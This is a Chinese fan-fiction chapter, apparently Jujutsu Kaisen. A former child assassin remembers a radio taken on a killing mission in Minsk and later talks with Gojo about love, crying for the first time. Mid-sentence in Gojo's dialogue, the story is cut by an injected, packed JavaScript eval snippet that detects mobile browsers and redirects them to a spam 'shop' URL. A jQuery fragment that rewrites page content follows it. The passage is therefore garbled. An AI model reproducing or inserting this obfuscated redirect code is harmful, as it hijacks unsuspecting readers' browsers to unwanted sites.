我小的时候曾有幸得到一台收音机。
它的外壳是厚厚的黑色塑料片，顶上支出来一根天线，看起来像个被变成砖头的外星人。塑料片上还有因为高温而变形的、融化的痕迹。它应该经历过火灾。
我那时还和蕾塞住一起，每天夜里都会用收音机听邻国的音乐电台。那时我们最喜欢的节目是波兰之声，因为一到晚上九点主持人就下班了，随后开始循环播放流行歌曲。
他们有一份清单，我记得很清楚，十首曲子按照顺序，不断地重复演唱。这其中，我最喜欢大卫鲍伊。蕾塞喜欢ABBA。
我时常想，我们拥有相似的童年，却有着不同的品味。人们，或者心理学家，不都说童年的经历（或阴影）造就了我们的往后余生。那为什么我们俩，镜像生长的杀手女孩，会对歌谣有不同的选择呢？
我相信，人之性格的草蛇灰线并不完全来自于童年记忆，不完全来自于你小时候受过什么苦，它冥冥中与你还在母亲体内的黑暗阶段有关。或许我的母亲喜欢听大卫鲍伊吧，我不知道。我认为人对音乐的品味相当一部分都是与生俱来的。
至于收音机是怎么来的，其实是我和蕾塞两个人共同的荣誉。
那是一次艰险的任务。我们奉命击杀一个官员，彼时她十三岁，我十四岁，两个人都跟坦克的履带轮胎差不多高。
我们拿着笨重的老式手枪，如同在鹅卵石路面上窸窸窣窣行走的老鼠，明斯克仿佛永恒阴郁，无论下不下雪，天空都是铅灰色的，随时有战争与死亡会降临。
幸好任务顺利完成，我们自作主张收缴这位官员的私人财产。彼时的我们对钱没有概念，我们更喜欢那些来自“文明世界”的产物。比如电影碟片，比如缀着酸凉的假钻石的黑纱女士帽子，又比如一台蠢笨的收音机。
这些东西似乎能把我们带出白俄罗斯，让我们成为拥有人权的自由孩子，在蓝白分明、云朵硕大的天空下，奔跑在翠绿到虚假的草坪上，也许还有牧羊犬在一旁欢欣鼓舞地跳跃。我们太想拥有亲人，太想生活在没有高压、教官、受训、鲜血、胃绞痛、灰泥雪污、拳套、枪、变质的猪油、蟑螂、阴冷的水泥宿舍……之外的世界。
因此，变得更强大，成为了我们所有孩子的终极目标。要逃离，首先得学会跑。
……
我睁开眼，映入视野的是五条的脸庞。他面无表情地看着我上方空气中的某一处，心不在焉地托腮。
我张开嘴，干哑地喊他：“……水。”
他微微一激灵，回过神，脸上忽然有了光彩，像是灵魂归位。
我难以形容这个笑容，比我曾见过的每一个他都更加活灵活现，都更像“他”。
五条伸长手臂，勾来一只玻璃杯，热心肠的靠在我嘴边。他显然不会照顾人，杯子倾斜的角度过大，整杯水全浇在我脸上。
我抹了把眼睛，使劲眨了眨。
他稀奇地凑过来，说：“看起来像哭了。”
“如果我也往你脸上泼水，你也会哭。”
五条笑起来，咧开嘴，露出两侧虎牙的尖尖，像一个对你示好的猛兽。你甚至能闻到他无意散发出的血腥气，尽管他真的不是故意的。
我为此感到有些可惜。他可真爱笑。东欧人从不随便跟人展露友善，这会让对方觉得我们软弱、可以欺负。
或许是为了避免让他人误以为面前这个男人随时可能杀了自己，故而五条会戴上伪装，假装自己是食草动物里的一员。然而实际上，他属于恐龙的气质是无论如何也无法掩盖的。
好在他足够强大，所以别人对他的恶意，能被稀释得极淡。
如果他是个坏人，那么许许多多不好的事情就不会降临到他头上。
我缓缓坐起来。
他往后一靠，陷进床边的小椅子里，手长脚长，四仰八叉地伸展开，像个被扔在某处的长臂猴子玩偶。
从高层的设施回来后，我们坐着一辆吉普车，迎着电影结局般的夕阳，疲惫不堪却又喜气洋洋地往回赶。那夕阳真如一团火球，散发着末日般的红光，在满是废墟的地平线上方灼热的波动中。
乙骨在前面驾驶，我平躺在后座，头枕着五条的大腿，真是幸福。身边七零八落挤着学生们，大家叽叽喳喳地讨论着恶魔与咒灵有何不同。
虎杖悠仁握拳，对着虚空挥出，说他已经掌握了黑闪的诀窍。
我听不懂在他说什么，但五条的声音从上方落下，带着欣慰。他说：全垒打，漂亮！
两个人嘻嘻哈哈地说着笑话。
吉普车的行驶真可谓颠沛流离，一路上我的后脑上无数次撞击五条的大腿肌肉，他完全不管，带着男人独有的随意与放任，似乎认为如果我会被颠死那就是活该。偶尔他会按着我的额头，把我固定住，然后垂头轻轻说：别动啦。
这是我能决定的吗？我心说。
路上，学生们你一言我一语地讲述着五条的传奇故事，诸如他的出生，他的功绩，他的力量，他最后在新宿与反派恶人的大决战，他的终局。
我听下来，有些伤感。原来他是死而复生的。腰间那道缝合线，真就是被斩断后重新接上去的。我试图想象他死亡的画面，可一闭上眼，就觉得刺痛无比，我想象不出来。
我试图为此找到一个普通人也能理解的版本，比如耶稣受难。但仔细一想，这并不合适。
耶稣的苦楚往往出于自愿，甚至在我看来是带着点受虐倾向。他用痛苦来证明其对人间的大爱，用受难来彰显世界对人这种生物有多残酷。这个故事充满了古代人民对于生存的焦虑，以及对于想要被拯救的渴望，人们希望自己所遭受的痛苦能被集中到一个人身上，而他最好能一言不发的默默忍耐。
从“众生”的视角来描绘英雄，显然不符合五条的人生。因为他是英雄本身。
我仔细想了想，儿时读过的另一个关于天使的传说，浮出脑海。
很久以前，天堂有四位大天使长。其中一个名叫米迦勒。他是上帝身边的首席战士，是天使军团的领导者，不仅有着凡人所没有的勇气与无可比拟的威力，还拥有最美丽的容姿。
他的性情勇猛果敢，虽然好战，但是充满慈悲心，对于罪恶的事抱持着绝对的否定与无情的歼灭，是绝对正义的化身，毫无参杂一丝黑暗。*
更何况米迦勒也打败过撒旦，正如同五条打败过宿傩——精神上的，我听学生们的描述，似乎是棋差一招。我不懂他们到底是什么战力水平，也没见过五条大放异彩。
但是，因为想要全力以赴施展自己毕生所学，想要感受战斗的巅峰体验，想要突破极限让自己能够无所顾忌，而去和史上最邪恶的存在单挑对决，这事儿本身就是赢家的思维。你见过哪个获胜方是忧心忡忡并随时担心自己会被打死的？
回去的一路上我都在想这些事，这些支离破碎的讲述，在脑海中渐渐拼凑出一副模糊的肖像画，画中人的面孔看不真切，却有一双蓝眼睛直射出画布，那光芒像飞行器的尾焰，印在视网膜上久久不散。
然后我被安排进五条的房间，我一躺下就睡着了，浑身的血污将小床浸满红色。我时梦时醒，一旦醒过来，我就下意识的想起他。
而一想起他，便会让我感到自己是正派的，不参杂邪恶、欲望、贪婪、腐朽，等等一系列人类的劣根。即便他也是个人类，但他钻石般坚硬而剔透的人性，总让我感到世界还是挺美好的。
人们应当为身边有这样一位善良勇敢的好人而感到幸运，但人们自古以来就不会这么做，他们看到美丽强大的巨兽，第一反应是围剿，然后就是捕杀。
看吧，人就是这样的，远古时代我们的祖先就是如此繁衍、进化、生存，最终变成了盘踞在地球上的小螨虫。一句老生常谈：人性如此。
我不怪罪那些从绝对正义的眼光看来稍显背信弃义的人，我只对他的存在而感到可惜。如果你真的生在天堂就好了，如果你真是个天使就好了。天使是不会死的。
但你会死。
我心想。
直到我的梦境改变方向，似乎是反刍无数遍天使传说后终于厌倦了，梦里出现一台收音机，还有儿时伙伴蕾塞。
再然后我就彻底醒了。
墙上的简易钟表一刻一刻地往前走，五条百无聊赖地抻了个懒腰，忽然问我：“你知道八大艺术吗？”
我点头。
“说说看。”
我记不清了，糊涂地念了一串。
“不不不。”他神秘地吊起嘴角笑了笑，“是音乐，电影，食物，游戏，文学，舞蹈，绘画，爱。排名不分先后。”
我说：“似乎不对吧。”
他点点头：“没错，这是我认为的八大艺术，我不懂的就没有加进来哦。”
“爱是什么？”我问。
他说：“爱就是爱呀。”
“我不是问这个。你为什么把爱也算作艺术？”
他说：“对咒术师而言，爱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535211|203110||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，是最强大的诅咒。因为爱，世界走向毁灭。因为爱，世界迎来光明。一念之间的事情，很可怕吧。”
我的双眼一定充满困惑，“你说的爱，是指爱情吗？”
五条摇摇头：“是爱，纯粹的爱。”
他比划了一个大大的圆形。
“人类之爱？”我问。
他莫测地挤挤眼睛，“很难解释清楚，姑且先这么认为吧。”
我看着自己的手，微微出神，“……爱是癌症。”
“为什么？”他凑过来，趴在床边。
“因为它不受控制。你一旦得了癌症，哪怕你把病灶挖空，它还是会卷土重来。很可怕。”我想起蕾塞，想起那个自称是我姨母的情报官，也想起五条。这都是对我来说重要的人，他们的存在是会真切改变我人生的。
他问：“贝鲁，你害怕爱吗？”
我说我不知道，我从未爱过谁。
他贼溜溜地眨眨眼，“那我呢？你爱我吗？我是不是你最好的房客？”
我笑道：“你是。你是我唯一的房客。”
他撇嘴，“狡猾的很，你这家伙。”
随后五条伸出手臂抱住我被子下面的腿，“说回八大艺术，贝鲁，我来教你什么是爱吧。”
我睁大眼睛，“为什么？忽然说这些？”
“突发奇想，我觉得，我们都获得了新生命。怎么说呢，就像退休之后想要去探索世界一样吧。”他摇摇晃晃地。
“你很懂爱吗？”
我指的是，他这么强大，又这么孤独，爱对他这样的人来说或许是奢侈品。
他点头，“我曾给出过很多爱。而他们之中，大部分都死了。”
说的是五条学生时代的那些年轻人吧。我理解，就像蕾塞给我留下遗产，她的存在让我对爱笑又思维跳跃的人，总是抱有好感。
于是我说：“那就教教我吧。我……”
他鼓励地看着我。
我闭了闭眼，狠下心。
“……一直以来，我都认为自己是个工具。我希望有人能告诉我，我是个人。我可以成为人。”
他转而握住我的手，干燥温暖。
“我想要理解你。哪怕我们只认识很短的时间。对我来说，你已经足够重要。或者换句话，你算是我现阶段人生里最重要的人。”
事实证明，如果是你，我连死都不怕。五条，我珍重你。
我都不知道自己能为一个陌生人做到这份上。最初我只是起了邪念，随后我折服于这个人的独特魅力，最后，我想我成为了天使的信众。但这些话我无法说出口，因为它过于沉重，而我们的相识又过于短暂。
“听那些孩子说你过去发生的事情，令我感触良多。”说这句的时候五条没忍住笑了，似乎是有点不好意思。
“你以前一定很幸苦。”
“是啊，超级累的，所以在京都的日子很开心。”他诚实道。
我微微侧头，看向床头柜上的空水杯，“你知道吗，你放松时候的表情，我在某些人脸上也见过。”
他低声问是谁。
我说：“墓碑上的黑白相片。”
他顿时噗嗤一声笑了。
我转回脸看向他。虽然是笑，但我能感觉到他并不快乐。他心事重重。我不知道他在为什么而担忧困扰。
“你还好吗？”我问。
他俯下身抱住我，沉默不语。
我像个被束缚住的考拉，一动不敢动，最后只把脸颊靠在他的头顶。
他的发丝温暖柔软，有淡淡的香味，像我小时候最爱的毛绒玩具。我心里涌出一种不可思议的情感，我想要紧紧拥抱他，把我所有的一切都送给他。我不知道这感情是什么。是书里写的爱情吗？我不知道。我只想拥抱他，我想要知道他过去的一切，我想要进入他的心里，想要打开那扇门。
这个念头如此强烈，以至于我感到眼睛阵阵发酸。
不知不觉，几滴透明的液体滴落，它们如同叶片上的露水。
五条缓缓抬起头，用食指揩掉。
“你哭了。”他说。
我震惊地摸着脸，湿润冰凉，在窗外吹进的夜风里很快干了。
“我第一次哭。”我说。
他诧异，“真的假的。”
我点头。
他忽然大笑起来：“那你已经入门了！和我一起来学习什么是真正的爱吧！就从这艺术宝库的第一门课开始。音乐！”